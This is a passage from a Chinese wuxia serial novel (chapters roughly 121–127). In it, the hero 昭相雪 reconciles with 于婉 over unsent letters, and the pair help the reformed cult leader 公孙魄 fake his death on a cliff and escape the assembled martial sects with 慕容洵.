“不能!你休想再回乌桓,这一次,说什么我也不会放你走了,你别想再丢下我!”慕容洵紧紧的拽住公孙魄的衣服。 公孙魄笑了笑,将手小心翼翼的放在慕容洵的脑后,给她做枕头。 “那这八抬大轿,可不可以……” “哪需要什么八抬大轿,我逗你的,只要新郎是你,那便是最好的婚礼。” 两人紧紧的抱在一起,恰逢此时,一声巨响,两人起身一看,渡口旁,一艘破渔船撞在了礁石上,东摇西晃的停在了渡口上。 慕容洵立马上前,厉声阻拦道:“这里可不是你们该来的地方,速速离去。” 船夫弓着腰,陪礼道:“对不起,对不起,船撞坏了,漏水,我把他补好了立马走。” 慕容洵看向公孙魄,公孙魄点了点头,对那船家说道:“船家,你慢慢补,不着急,若是需要帮忙,喊我们便是。” “好咧,谢谢这位爷。”话罢,船家将小船拉了上来,低着头慢慢的修补起来,公孙魄与慕容洵也没在意,继续平躺在地上,闲话起往事。 片刻后,小船补后,船家上了船高声喊道:“谢了啊,船补好了,我该走了。” 公孙魄与慕容洵立马起身相送。 慕容洵道:“慢走啊,船家,这里海寇多,下次注意点儿,别走这片海域!” “好咧,告辞”船家转身划起船,刚划了没两步,公孙魄高声喊道:“站住!” 船家立马怔住了,收起浆,回头看向两人,一脸惊恐的举起手来,话都不敢说一句。 公孙魄捡起地上的衣服:“船家,你的衣服忘记带走了,现在这个季节温度变化太大,别惹了风寒。”话罢,将衣服扔给那船家。 船家接下衣服,颤抖着笑了笑:“谢谢这位爷,还有什么事吗?” “没事儿啊。” 船家试探性的问道:“那,告辞了?” “告辞。” 船家划船的速度非常快,一眨眼,便消失在大江上。 “说话温柔点嘛,你看你把那船夫给吓的,他还以为你是海寇呢。” “海寇?我怎么会像那群莽夫?我像吗?像吗?你仔细瞧瞧,我真的像海寇?” 慕容洵仔细的瞧了一番,默默的点了点头。 公孙魄微微一笑,一把抱起慕容洵:“好,那我今天就当一回海寇,抓你回去做我的压寨夫人!” “笨蛋,压寨夫人是形容山贼娘子的。” “啊?那海寇的娘子怎么称呼?” “女王大人。” “女王大人?” “没错” “我信你个鬼!” …… 第一百二十二章 直男教写信 取得昆山雪莲后,三人快马加鞭,一路轻功回赶,只用了一周便回到白马寺。 偏殿之中,众多高手围聚讨论: 章玄道:“黄骷岛?传闻,那黄骷岛遍地是毒草猛兽、瘟瘴疫气,上过那岛的,无不疾病缠身,那骷魅与一个女子在那岛上,也不知,有何阴谋?” 秋殇道:“管他有何阴谋,待我服下昆山雪莲,重塑元神,十个骷魅也给他杀了。” 蔡彧道:“这次咱们可大意不得,得先试出交战的骷魅,是不是真身,可不能跟上次一样,将所有功法内力集中在一个假体身上。” 杜济道:“不如在功法里加入毒药,若是假体,应该不会有中毒的症状。” 杜冥笑了笑:“师兄,所言有理,不妨试试。” 蔡彧点了点头:“毒攻,确实是个好办法呀,只是不知,该用何毒?” 昭相雪道:“鲟麻草吧,听说,那东西与皮肤接触之后,皮肤立马红肿。” 杜济点点头:“不错,而且,那东西还有麻醉的作用,到时候还能限制骷魅的活动力” 谷月清道:“黄骷岛上毒药众多,保不齐,那骷魅也研究了研究不少毒药等着对付我们,咱们万事小心,切莫大意。” 浮生道:“对了,那昆山雪莲炼制成药,需要多久啊?” 杜济道:“至少,得一周吧。” “一周,再加上恢复时间,估计得半个多月吧,到时候,展大侠也该回来了,咱们把骷魅盯紧些,切莫跟丢了。” 蔡彧道:“照章阁主的意思,黄骷岛处在大江之上,迷雾之间,咱们若是再闯入那岛,怕是会引起骷魅怀疑,不妨加派些人手,在各个渡口假扮船夫,严密监视,骷魅若是要离岛,必然会经过其中一处渡口。” 昭相雪道:“好,就这么办,那监视的任务,可就有劳章阁主、蔡庄主、浮生住持了。” “义不容辞。” 大会散去,昭相雪回到书房中,一小僧递来一封信。 “盟主,半月前有个人给你寄了封信。” 昭相雪拿过来一看,竟是于婉写的!当下,颤颤巍巍的问道:“你刚刚说,这封信是半月前送来的?” “对啊。”那小僧不假思索道。 “惨了惨了,完犊子了。”昭相雪拆开信件,细细看起: 昭大哥,我到鲜卑了,这里民风淳朴、风景优美,轲比能、鞠衍他们对我很好,潇姐每天都陪在我身旁,悉心照顾我,展叔则望着远方发呆,大概,是想菱姨了吧。 昭大哥,你知道吗,微风抚过原上草时,放眼望去,宛如一片碧绿的海浪,随风摇摆,非常壮观,不过,比起我们在江东时见到的滔天巨浪,显然还是差些,倒不是那江浪比大草原好看,而是在江东时,有你在身旁,但这里,却没有你,昭大哥,我想你了,每天想,你呢?你有想我吗? 我会快些处理好这边事情的,你等我好消息,如果可以,你也给我写封信吧,我好想知道你现在在干嘛,菱姨、师兄他们在干嘛…… 二月初五 昭相雪满脸洋溢着幸福,自语道:“我还能干嘛,想你呗。”话罢,坐在桌前,开始思考着该如何回信。 恰逢此时,枯恂闯入。 “昭兄,昭兄,干嘛呢,你这是,写信啊?给小师妹写的?” 昭相雪尴尬一笑,立马收起信件,不料,却被枯恂一把抢走。 “亲爱的婉儿,啧啧啧,我也想你,咦~~~恋爱的酸臭味。” 昭相雪立马抢了回了,岔话道:“枯兄,何事啊?” “没事啊,我找你能有什么事?我就无聊了到处转转呗。” “枯兄,我正好有事要问你,你写过信吗?你教教我呗,我该怎么回婉儿信啊。” “小师妹给你写信了?真的假的,小师妹还会写信?就一个月没见还给你写了封信?以前我和她分别一两年,也没见她给我写过信啊,好啊,小师妹,重色轻友啊!” “哎呀,枯兄,这不是重点,重点是,我该怎么回。” 枯恂灵机一动,笑了笑:“简单,我教你,我说你写。” “一路小心” 昭相雪写罢,看着枯恂,等待他继续教学,哪知,枯恂却没了下文。 “然后呢?” “没了啊。” “没了?这才两句,你确定?” “哎呀,昭兄,就这两句就够了,咱们男子汉顶天立地的,说那么多话干嘛。”枯恂接着说道:“你说多了,她反而会觉的你只会耍嘴皮子,没什么真才实干。” “啊,还有这个说法?” “当然了,你看看我,潇儿也给我寄的信,我有给她回过半个字吗?”枯恂一脸得意道。 昭相雪笑了笑:“好,听你的。”话罢,封起信。 枯恂一把接过:“反正我也没事儿做,我去帮你寄了吧。” “有劳了。” 一个月后,谷月清与秋殇的身体渐渐恢复。众人聚在一起商讨着围剿骷魅的计划。 昭相雪正端坐书房,再胡乱写着什么,满脸惆怅,忽然,枯恂敲开房门,昭相雪立马收起信纸。 “你坐在那儿干嘛啊!小师妹回来了!” “婉儿回来了?”昭相雪一扫愁容,满脸欣喜,立马起身向外跑去。 跑了没多远,枯恂一把拉住他:“哎,错了错了,那条路是往后山的,这条路才通大门!” 昭相雪尴尬一笑,也不多眼,换了路,向大门口跑去。 昭相雪远远的看着于婉,只是傻傻的笑着。并不敢有多余的举动。 与昭相雪不同,婉儿一脸平静,竟是连看都不看一眼昭相雪,她与枯恂、杜菱、展平、苏起等一一问好,唯独没有理睬昭相雪,径直从他身边走过,穿过空气一般。 枯恂道:“小师妹,潇儿呢?怎么没见她?” “潇姐去集市了,说要买个搓衣板,回来好给你洗衣服。” 枯恂一脸感动:“这也太贤惠了吧,我去找她。”一边说着,一边将昭相雪推到于婉面前,昭相雪支支吾吾道:“婉儿,你回来了。” 于婉平静答道:“嗯,回来了。” “那就好。”接着,两相无语,昭相雪伸手想去帮于婉拿包裹,不料于婉却后退了两步拉开距离,场面一度十分尴尬。 枯恂对周围众人说道:“哎呀,今天天气不是很好啊,估摸着,怕是要下雨,大家散了吧,都回屋吧。” 众人领会其意,各自散去。 苏起道:“这昭相雪怎么跟个木鱼似的,不敲都不响的?” 枯恂拉着苏起退开:“哎呀,走了走了,人家小师妹自己喜欢,咱有什么办法,走了走了。” 众人散去后,于婉突然抬起了头,一脸恼火的问道:“咱们俩之间究竟算什么?” 昭相雪低下头,静默许久,并没有作答。 于婉有些失落,但她鼓起勇气再问道:“昭相雪,你说句实话,你到底喜不喜欢我!” 昭相雪仿佛开窍了一般,抬头答道:“喜欢,我真的喜欢你!” “你撒谎,我去鲜卑的两个月里,我给你寄了五封信,你呢?你只回了我一封信!那封信还只写了四个字:一路小心。呵,哦哦哦,我忘了,你现在是武林盟主了,日理万机,哪还记得我啊,说到底,你根本就不爱我!” “不,不是这样的。” 于婉哭道:“不是这样,那是怎样?” 昭相雪也不辩解,一把拉起于婉,往一处走去。 于婉怒气正甚,窝火的狠,哪肯依他,一把甩开昭相雪,自顾自的离开。 没走几步,竟被昭相雪从身后抱起,当下,轻功一施,转瞬间竟来到一个院子里,乃是昭相雪的书房。 于婉看着昭相雪,紧闭着嘴,并不多语,昭相雪将角落里一个上锁的小箱子提了过来,小心翼翼打开,推到于婉面前。 于婉略带哭腔,问道:“这什么啊?” “你自己不会看啊。” 于婉瞅了一眼,箱子不大,里面的东西也很单一,但却撑满了整箱。 里面存放的,乃是信件,密密麻麻全是信!全是两个月来,昭相雪写给于婉,但并未寄出去的信! 枯恂卧房 此刻,卧房门窗紧闭,枯恂跪在搓衣板上,满脸泪痕。 “潇儿,我…” “我什么我,今天若是不把这搓衣板跪断了,你别想起来!长本事了,姐百忙之中给你写的信,你居然敢不回!你哪怕学昭相雪,回几个字也好啊!” “啊,这……” 第一百二十三章 泄密 于婉:“昭大哥,我都原谅你了,你怎么还闷闷不乐的啊” 昭相雪摇了摇头:“婉儿,有件事我想告诉你。” “什么事啊,老掉牙的情话我可不听。” “一个多月前,我们的密探发现了骷魅的踪迹,在江东,黄骷岛。” “黄骷岛?洵姐!洵姐她们有危险!” “不行,我得赶紧找她们去。” 昭相雪一把拉住于婉:“事情还没那么糟,据密探回报,近一个月来,常见骷魅带着一个女子出入东街渡头,游船逛街,举止仪态不似魔头,倒像是新婚燕尔。” “新婚燕尔?难不成,骷魅这魔头还是个风情雅士,等等,那个女子不会是洵姐吧,他胁迫了洵姐?!” 昭相雪摇摇头:“你别这么激动,你觉得,以洵姐的个性,会轻易受人凌辱欺负吗?” 于婉:“若以洵姐个性,自是宁死不屈!” “洵姐说,她等了一个人十六年,那人不会就是骷魅吧!”于婉一脸震惊的看向昭相雪。 昭相雪微微一笑:“昨天,我去拜见谷掌门了,他的伤势已经好得差不多了,盟主之位,我终于可以还给他了,明日午时,七大门派轻功上乘者会先行前往江东设伏布阵,以防止骷魅逃离,后续武林精英会在两周内集结,届时将全力击杀骷魅。” “这么紧迫?若那女子真是洵姐,岂不是也得跟着陪葬!不行,我得赶紧找她们去。” 昭相雪点点头:“就知道你心急,刚才我已经让枯恂跟谷掌门请示过了,咱们也是先锋队的一员,随时可以出发。” 四天后,江东一渡头,一老农从船商手中租过一条船,载着一农妇往大江驶去。 大江之上,迷雾之中,老农深情的看着农妇:“真羡慕啊,这么多皱纹竟还如此美丽。” 农妇笑了笑:“少贫嘴了,粘这么多胡子话还这么多!看来啊,下次拌老,还得再多加些胡子!” “别,这胡子扎得我脸疼,怕了怕了!” 老农、农妇乃是昭相雪、于婉所扮。 黄骷岛: 昭相雪与于婉卸下伪装,停了船,上了岸。 “洵姐,你们在吗?” “有人吗?洵姐?” 此时正是雨季,岛上尽是浓雾,只听嗖的一声,一只暗箭迎面射来,昭相雪拉着于婉,急退躲过,接着又来几箭,两人再退几步,最终停在一刀口处,那是一把银黑长镰,江湖上流传着它的煞名:冥阎长镰。 雾色散去,两人前后各站一人,提刀者正是公孙魄,射箭者,乃是慕容洵。 “婉儿?怎么是你?”慕容洵惊喜道。 公孙魄见状,赶紧放下武器,笑了笑:“昭相雪,我记得你。” “洵姐,我可算找到你了。”于婉一边说着一边抱向慕容洵。 “洵姐,你没事儿吧,终于找到你了。” “我能有什么事啊?倒是你,这么急,找我何事啊。” 于婉先是恶狠狠的瞅了公孙魄一眼,接着问道慕容洵:“洵姐,他不会就是你等了十几年的那位白衣公子吧!” 公孙魄闻言,整理了一下衣冠,一身白衣的他,倒确实有几分英气,说是温雅公子,倒也没有不妥。 慕容洵笑了笑,小步走向公孙魄,挽起他手臂:“没错,就是他。” …… 前后因果尽数告于两人,两人也将七派围剿黄骷岛的消息告诉他们。 昭相雪:“人在江湖,生不由己啊,你们还是快些收拾好行李,早点离开这是非之地吧” 慕容洵:“爹爹和干娘出去义诊了,最快也得后天,婉儿,只迟两天,无妨吧。” 于婉也不知该如何回答,看向昭相雪。 昭相雪道:“总之,你们尽量早些走吧,这两日,我会密切注视着七派动向,若有变动,我会放信鸽通知你们的。” 公孙魄作揖道:“昭兄弟,婉姑娘,多谢了。” “小事小事。” 两人逗留片刻,便换上伪装,乘着雾色,离岛远去。 江东: 昭相雪两人走进一间客栈。 “老板,开两间客房。” 昭相雪左手摸了摸头,朝老板眨眨眼,只见左手掌心中,隐隐藏有黄金。 老板心领神会:“客官,本店房源紧张,只剩一间客房了。” “只剩一间了啊”昭相雪一边说着,一边看向于婉。 于婉点点头:“开一间好了,昭大哥,我相信你不会胡来的。” 昭相雪点点头:“好吧好吧,一间就一间,开吧。”话音刚落,声后一男子叫嚷道:“老板,退房。” 老板看向昭相雪,昭相雪挠了挠头发,微微摇摇头。 老板道:“额,对不起客官,本店不允许退房。” 那客人并非善茬,当即吵闹起来:“不许退房?放你娘的狗臭屁?店大欺客是不是?刚才订房时我明明问过你,是你自己说的不满意随时可退!” 于婉道:“好了好了,老板,他要退房,我要住房,你把他的房转给我便是,何必吵吵闹闹,失了和气。” “多少房钱啊?我替店家退给你,你把那房让给我便是。” 老板看向昭相雪:“啊,这。” 昭相雪一脸无奈,只是认命般的点点头。 第一百二十四章 合围 两天后、清晨: 于婉:“先遣队来的差不多了,我看这些人,轻功虽好,内力却平平无奇,应该是拦不住公孙大哥他们吧。” 昭相雪深呼吸一口:“不是我吹,放眼整个武林,除了我,谁来都拦不住公孙魄。” 于婉撇了昭相雪两眼:“就你?别逗了,只怕你也拦不住公孙大哥吧。” 昭相雪尴尬一笑:“好吧,我也拦不住。” 正话间,有两老农御风而进,虽是粗麻布衣,却亦是仙风道骨。 “拦不住谁啊?” 寻声而见,竟是谷月清与孤殇!!! 昭相雪、于婉大惊,慌忙起身行礼:“拜见盟主,拜见孤殇大师。” 孤殇赶紧扶起:“别,咱们眼下乔装打扮,身份礼节一切从简。” 谷月清找位坐下,一脸和善:“你们刚才聊什么呢,公孙魄?谁啊?” 于婉不敢做声,扯了扯昭相雪衣袖。 昭相雪笑道:“饭后胡扯,随便聊聊罢了,先前我们来江东遇到的一个酒鬼,酒量极佳,喝了酒后力大如牛,十个青壮年也拦不住他。” “十个都拦不住?没这么夸张吧。”孤殇一边倒茶,一边笑道。 谷月清接过茶壶,竟亲自给昭相雪倒了一杯。 “谷掌门,这……”昭相雪有些尴尬道。 “昭少侠,一杯茶而已,你摘的昆山雪莲,可是抵得了咱半条命啊!” 孤殇亦道:“确实,这次多亏了昭少侠,若非少侠帮忙,咱两不养个三五年,只怕剑都拿不起。” “前辈言重了,举手之劳罢了。”一边说着一边拍拍于婉:“婉儿,两位前辈远道而来,只喝两口茶哪够,东街有个酒馆好像在卖杜康酒,快,买两坛来。” 于婉瞬间秒懂:“杜康啊,好,我这就去。” 谷月清立马拦住,笑了笑:“咱们还真是有缘啊,杜康,来的路上,咱正好打了些,来来来,尝尝。” 谷月清一边说着一边取下酒壶。 孤殇道:“你们真是眼尖,你们怎么知道咱有杜康。”孤殇一边说着,一边也解下了腰间酒壶。 于婉尴尬一笑,乖乖坐回原地。 谷月清看了看配菜,摇了摇头:“小二,来盘炒花生。” 店小二摇摇头:“抱歉客官,咱店的炒花生已经卖完了。” 孤殇道:“这喝酒没炒花生咋行,你们这店也太次了吧。” 店小二赔礼道:“抱歉客官,实在抱歉,老板已经差人出去买了,下午就有了。” 谷月清道:“下午才有,路口拐角不就有个摊位专门卖炒花生的嘛,婉儿,辛苦你了,你去买下吧。” 于婉两眼放光,立马站起:“好的掌门,我现在就去……” 昭相雪松了口气,暗自祈祷道:上天保佑,公孙兄和洵姐可千万小心啊,千万别漏了马脚啊。 众人喝着小酒,吃着炒花生,没过多久,一僧人小步走近。 “时候差不多了,咱也该出发了。” 定眼一看,竟是浮生大师! 孤殇道:“人都到齐了?青菱师太、展大侠也到了?” 浮生点点头:“都到了。” 谷月清收起酒壶:“好,走了,出发。” 昭相雪一脸诧异:“盟主,不是说两周后再集结总攻吗?” 秋殇笑了笑:“枯少侠画了张地图,此去有许多近路,根本花不了两周,大队人马皆已到来。” 昭相雪点点头。 “禀告盟主,发现骷魅踪影。”一白马寺小僧上前说道:“一行四人,乘船往东面去了,估计是去褐石渡口。” 谷月清细细思虑:“褐石渡口,水路再快,也比不过咱们陆路,出发,咱们去褐石渡口等他,沿路设乔庄哨兵,若骷魅转了方向,务必及时通报!” “是” 褐石渡口,中原精英皆埋伏此处。 枯恂看向于婉:“小师妹,早啊” 于婉一话不发,经过身边猛的打了一拳。 枯恂一脸懵逼:“小师妹,很痛哎。”于婉头也没回,昭相雪亦从旁经过,枯恂看了他一眼:“管管,小师妹太暴力了,你得说说她啊。” 昭相雪笑着点点头,接着,又是一拳,打在同一个位置,头也不回的离去。 枯恂眼冒金星,瞬间倒地。 半个时辰后,一艘小渔船停在褐石渡口,船上下来一人,正是骷魅。 蔡彧道:“不是说有三个人嘛,怎么只有一个。” 孤殇道:“管他的,咱们只要杀了这骷魅,其余魔教妖党不攻自破。” 谷月清点点头:“动手!” 一声令下,两旁埋伏的精锐尽数杀出。 谷月清质问道:“骷魅,你只身潜入中原,到底有何目的?” 骷魅冷冷一笑,丝毫不惊:“中原山清水秀,找个地方归隐养老罢了。” 孤殇道:“你杀了中原武林那么多侠客,养老,你找错地方了!”话罢,提杖杀向骷魅,骷魅亦不示弱,提剑格挡,两相缠斗。 于婉不知所措,看向昭相雪:“咱们帮谁啊?” 昭相雪微微一笑,摇了摇头:“跟我来。” 昭相雪拉着于婉,悄悄离开战场。 “昭大哥,咱们真的不管吗?公孙魄已入化境,谷掌门他们只怕不是他对手。万一他走火入魔,再犯杀戒怎么办。” 昭相雪笑了笑:“放心,跟孤殇师傅交手的,根本不是公孙魄,不对,是公孙魄,但不是他本体,还记得草野之战吗?” “我懂了,是幻影!假身!” “没错,咱们得快点儿,谷掌门他们应该也很快便会识破那假身,咱们得早些找到公孙魄他们,掩护他们离开这里。” 于婉笑了笑:“昭相雪,我越来越钦慕你了,怎么办?” “没关系,继续钦慕吧,我许了。” “抱抱。” 昭相雪抱起于婉,晃了晃:“好了,时间紧迫,干正事吧。” 第一百二十五章 巧计出局 牛头滩: 一商船靠岸停下,船上下来四人,正是公孙魄一行人。 四人上了岸,两个马夫赶着马车停在面前。 “客官,需要租马车吗?” 公孙魄抬头一看,大喜:“昭兄,你们怎么也在这儿?” 原来,这两位马夫正是昭相雪、于婉两人乔装打扮的。 当下话不多说,四人快速上了马车,驶离牛头滩。 慕容洵道:“婉儿,你怎么知道我们会在这里下船?你们的人没去褐石渡口吗?” 婉儿笑了笑:“多亏了昭大哥,这一切都是昭大哥猜到的。” 离了黄骷岛,往东而驶,有两条水路,一条往褐石渡口,一条往牛头滩,密探说骷魅一行有四人,所以,当公孙魄只一人现身时,昭相雪立马察觉不妥,眼前这个公孙魄十有八九是个假货,料是公孙魄中途收到了于婉的密信,使出了疑兵之计,水路慢于陆路,若是长时间飘荡在江面,必被沿岸密哨察觉,泄露行踪。既然没有在褐石渡口下船,那便只能是在另一条河的牛头滩,或者褐石渡口后面的梦乡镇临时渡口下。 而梦乡镇与褐石渡口相隔很近,轻功上乘者,半个时辰便可到达,换言之,公孙魄的假象暴露后,谷月清等人很快便能赶到梦乡镇,虽然公孙魄轻功天下一绝,但岳父与慕容洵走得慢啊,综合考虑,四人只能必然会在离褐石渡口稍远些的牛头滩下。 马车飞速前进,很快出了城,下乡路上,却被昏睡山农拦住去路。 众人下车查看,山农七窍流血,哪是昏睡,已然是毒发身亡! 慕容钧行医多年,一眼便识破此毒:“是山万蛇毒!离他远点!此毒无解,沾之分毫神仙难救。” 众人连连退后。 慕容洵道:“既是无药可救,咱们还是继续赶路吧,若是他们追上来了可就走不了了。” 众人上了车,昭相雪却立在原地,迟迟没有动身的意思。 于婉道:“昭大哥,上车啊。” 昭相雪看着于婉,笑了笑:“咱们这么逃下去,躲得了一时,躲不了一世吧!” 于婉:“躲一时是一时,总不能坐以待毙吧。” 昭相雪摇摇头:“只要公孙大哥还活着,中原武林就永远不会放过他” 公孙魄叹息两声:“我自知罪孽深重,年少无知,犯了太多错事,我发誓,今生今世绝不再滥杀一人!如今,我只想与洵儿归隐避世,难道,偌大天地,就没有我半点容身之所吗?” 昭相雪:“没有,也有” …… 褐石渡口,众精锐与骷魅幻影颤抖了半个多时辰,全力击破后,才发现这不过是骷魅施的障眼法(虽是障眼法,但骷魅幻化此假身,注入了近三成的内力,实力自是不凡) “狡诈恶人,实在可恶!”章玄忍不住吐槽道。 谷月清:“无妨,此幻身实力不凡,必然耗费了骷魅不少内力,接下来的对决,对我们更有利。” 杜济点点头:“只是,眼下咱们跟丢了那魔头,该往何处寻他?” 蔡彧笑了笑:“若我是骷魅,必然会在牛头滩下。” 谷月清点点头:“选五个轻功上乘者去梦乡镇,沿途打探,以防魔头漏逃,其余人马全速赶往牛头滩!出发!” …… 众精英赶往牛头滩后,只见于婉已然等候多时。 杜菱问道:“婉儿,你怎么在这儿?” 于婉笑了笑:“昭大哥发现事有不妥,便先带着我来到此处等候,果然发现了那魔头踪迹。” 众人十分喜悦,皆佩服昭相雪洞察力。 谷月清道:“那昭相雪人呢?” 于婉道:“昭相雪正乔装跟踪着骷魅,行径动向,他会以飞鸽传递。”正话间,一信鸽飞来,孤殇腾空跳去,将信鸽取下。 信上写着五个字:藤原林,速来! 蔡彧问道:“是昭少侠的字迹吗?” 于婉点点头:“错不了” 谷月清:“好,出发,藤原林。” 藤原林间: 昭相雪坐在一巨石旁。 章玄道:“昭少侠,骷魅人呢?你把他跟丢了?” 昭相雪笑了笑:“放心吧,刚走没多久,藤原林出去就两条路,丢不了!” 杜菱道:“一条往节竹岭,一条往绝神崖。” 杜冥道:“神绝崖?危崖陡峭,仙神绝步,那可是条死路啊。” 蔡彧道:“昭少侠,骷魅还在藤原林吗?” 昭相雪道:“他走的不快,应该还在。” 蔡彧笑了笑:“那可就好办多了,接下来,咱们把伪装卸了吧,全速追杀骷魅。” 枯恂道:“没错,卸下伪装!全速追击他!” 江雨潇白了枯恂两眼:“你跟着起什么哄啊?你又懂了?” “当然”枯恂一脸得意道:“你想啊,咱们全速追击,自是尘土飞扬,骷魅必然惊觉,如此,他还敢走大路否?” 谷月清点点头:“若如此,骷魅必乔装潜小路。” 章玄亦笑了笑:“原来如此,小路通往神绝崖,咱们虽知道神绝崖是条死路,可那骷魅却未必知晓。” 谷月清:“没错,众侠客听令,卸下伪装,全速追击骷魅!” 追击行动持续了近两个时辰,最终,停在神绝崖上: 秋殇道:“骷魅,束手就擒吧!你已无处可去了!” 公孙魄道:“你们追了我三天三夜,难道,偌大天地,就没有我半点容身之地吗?” 展平道:“骷魅,这场争斗,乃是你们先挑起的,早知如此,何必当初!” 章玄:“何必与魔头多语,动手吧!” 展平正要出剑,于婉递给他一瓶毒药:“展叔,我在路上碰见了一个山民,他被山万蛇咬伤,死于剧毒,我想,他的血液里应该含有山万蛇毒,你把它涂在剑上,待会儿砍死那魔头!” “不妥吧,咱们正派义士,岂能行此龌龊手段。” 章玄道:“有何不妥,你不用,我用”话罢,一把抢过那毒药 展平摇摇头,也没多话,立马施展起凌空剑法 秋殇扫了一眼,似有话,但当下也没多说,立马施展起渊龙杖法。 霎时间,风云突变,电闪雷鸣,阴云布天。一条雷龙,破空而出,接着,众剑携中原武林众人之内力,与雷龙汇聚,最终,雷龙化作一柄巨剑飞速指向骷魅。章玄则伺机往巨剑中撒去山万蛇毒。 公孙魄欣慰一笑,自语道:“总算结束了,洵儿,再牵起你手时,我便说过,这辈子,谁也别想再把我们分开!” “天下大同!”霎时间,大雾四起,巨剑飞入雾中,紧接着,一人坠入崖下…… 众人立在崖边,俯视山崖: 神绝崖极高极险,崖下有一深渊,水流湍急,不出意外的话,掉下去,该是必死无疑! 昭相雪道:“骷魅总算是死了,武林纷争,终于可以告停了。” 章玄摇了摇头:“骷魅功法诡异,不可大意,我看,当挖地三尺,寻其踪迹,活要见人,死要见尸!” 蔡彧道:“没错,此事大意不得,盟主,下令吧。” 谷月清点点头道:“众派听令,豫蛇教与空涧庄的弟子封锁此处,严查出入!白马寺弟子搜查崖上,剑阁弟子搜查崖下。其余众人沿河搜查!掘地三尺,活要见人,死要见尸!” …… “找到了,找到了。” “在哪儿?” “浦马村外,一石桥边。” “死了吗?” “死了,尸身浮肿,七窍流血!” “确定是骷魅吗?” 那人摇了摇头:“那尸体面容损毁严重,但衣着、身形与骷魅无异,且腹部中剑,体含山万蛇王剧毒,八九不离十,应是骷魅尸身了。” “尸体带来了吗?” “就在外面。” 众人立马出了营帐查看。 第一百二十六章 结局?开始? 乡镇一酒馆,六人聚在一起。 慕容洵问道:“婉儿,你今后有何打算啊?” 于婉羞涩一笑,低下头:“昭大哥去哪儿,我就去哪儿。” “啧啧啧,这还没嫁过去,就这样了,真嫁过去了,那还得了。” 公孙魄拍拍昭相雪的肩:“昭兄弟,咱们不打不相识,这碗酒,我干了,你随意。”话罢,公孙魄提起碗,一饮而尽,昭相雪见状亦拿起酒碗,一把灌尽。 “公孙兄,你的身份特殊,不到万不得已,切不可平生事端啊。” “放心吧昭兄,魔头骷魅已经死在神绝崖下了,我现在叫公孙魄,普通人一个,我向你保证,除非我的家人有生命之忧,否则,绝不使用半点功法。” 两人笑了笑,再举起酒碗碰杯豪饮起来。 “昭兄,你和婉姑娘今后有何打算啊?” 昭相雪表情凝重,心事重重:“当年,我娘还有舅舅一家死得太惨了,鬼俈说真凶另有其人,当时他命不久矣,应该没必要撒谎。” “所以,你想找出真凶,替你娘报仇?” 昭相雪点点头,两人一边说着,一边再喝尽一碗。 “你娘和你洛叔叫什么名字,或许,我能给你提供点儿线索。” “我娘叫洛寻依,我舅舅叫洛寻天。” “莫不是善使九劫刀的司隶洛氏?” “你听说过?” 公孙魄点点头,默思片刻:“或许,这件事与他有关。” “他?” “魅影教御守使—顾邪,我继承魅影教教主之前,他便已经当了三十年的御守使了,听说,早些年,他借用魅影教的势力,铲除过很多中原侠客,其中,不乏名门大派,如百药宗——杜悬,豫蛇教——惠恩师太,白马寺——秋殇大师,剑阁——章云,黄巾之乱好像也与他有关,或许,司隶洛氏的灭门惨案也与他有关?” 昭相雪一脸诧异:“顾邪?这般神通?草野之战有他没?” 公孙魄摇摇头道:“草野之战若是他在场,你们绝无半点胜算。” 正语间,慕容洵与于婉走近,夺过两人酒碗:“好了好了,差不多得了,喝醉了可不好赶路。” “洵儿,你又不是第一天认识我,这种小酒,再饮个十坛也醉不了好吧。” “那你就再喝个十坛吧,最好能喝到天黑。”慕容洵脸色一黑,将酒坛放了回去。 公孙魄见状立马起身,拉住慕容洵:“跟你开玩笑了。” 慕容洵将脸偏向一旁,没有一点好脸色。 与慕容洵不同,一旁的于婉语气十分温柔:“好了,昭大哥,眼下非常时期,你再喝下去,该耽误他们行程了。” 昭相雪笑了笑:“对对对,你看我,一喝酒就误事。”昭相雪一边说着,一边放下酒碗。 公孙魄道:“你看看别人家的媳妇儿,多温柔多体贴啊。” 慕容洵怒气更甚,睁大眼睛瞪向公孙魄,吼道:“怎么的,你是嫌我不够温柔,不够体贴?婉儿温柔体贴,你找她去啊” 公孙魄闻言亦吼道:“我就不,我就找你,我就喜欢你的不温柔,你的不体贴,我可警告你,就算有比我优秀的,你也不许找他!” 慕容洵笑了笑,轻轻推了推公孙魄:“一天天的,没个正形” 于婉问道:“对了,洵姐,今后,你们有何打算啊?” 慕容洵笑了笑:“云游四海呗,公孙大哥喜欢四海为家的感觉,那我便陪他四海为家好了。” 公孙魄一脸宠溺的表情,顺势拉过慕容洵,朝她额头亲去:“洵儿,你真好。” 妍夫人(慕容洵干娘)训斥道:“好什么好,这么大个人了,你忍心让你妻子风餐露宿,四海为家啊。” 公孙魄瞬间黑下脸,十分尴尬,一言不发,大气都不敢喘。 慕容洵着急辩解道:“干娘,别这么说嘛,我也喜欢游山玩水的好吧。” 妍夫人道:“好了好了,我在扬州柳城郊外有个小院子,整理整理,就当我送给你们小两口的新房了”干娘一边说着,一边递给慕容洵一张地契。 慕容洵受宠若惊,连连摆手推回:“干娘这太贵重了,我可受不起啊。” 妍夫人赶紧走开:“什么受不起受得起的,你们要是认我这个干娘,就收了它,别让干娘我担心。” “那房子卖不了多少钱,空着也是空着,又没人住,你们就当帮我照看房子好吧,有机会,我还可以去哪儿看你们。” 慕容洵一脸难为情,看向慕容钧。 慕容钧笑了笑,正要说话,被妍夫人打断:“老顽固,你可别跟我客气啊,当初我走投无路时,是你们收留的我,时过境迁,我终于有了报答你们的机会,况且,你也不希望你女儿风餐露宿吧。” 慕容钧道:“好了好了,收下收下,以后你干娘想来看你了,也省得找路。” 众人大笑,妍夫人小步走到公孙魄身前,小声说道:“魄儿,多学学你爹,他对他夫人的好,天底下,再找不出第二人。”话罢转身离去:“我会常去看你们的,走了,江湖再见。” 慕容洵挥手道:“干娘再见。” “再见” 留下公孙魄在风中凌乱,恍惚看来,那位妍夫人的背影,十分熟悉,莫名温暖,许是那套房子的缘故吧。 公孙魄问道:“既然是你干娘的房子,她不和我们一起住吗?” 慕容洵摇了摇头:“干娘她医治四方,居无定所,以前在黄骷岛时便是如此,一年里回岛的日子满打满算不会超过两周。” 公孙魄点点头,再问道:“对了,我跟你说过我爹和娘的事儿没?” 慕容洵又摇了摇头:“没有吧,好了好了,时辰不早了,你要说什么,以后慢慢说吧,咱们该出发了。” 众人租了条大船穿过大江,来到芙河镇上,接着互相道别,于婉与昭相雪往北走,前往豫州,慕容洵、公孙魄等人则往东走,前往扬州。 第一百二十七章 落幕之际 豫州、豫蛇教: 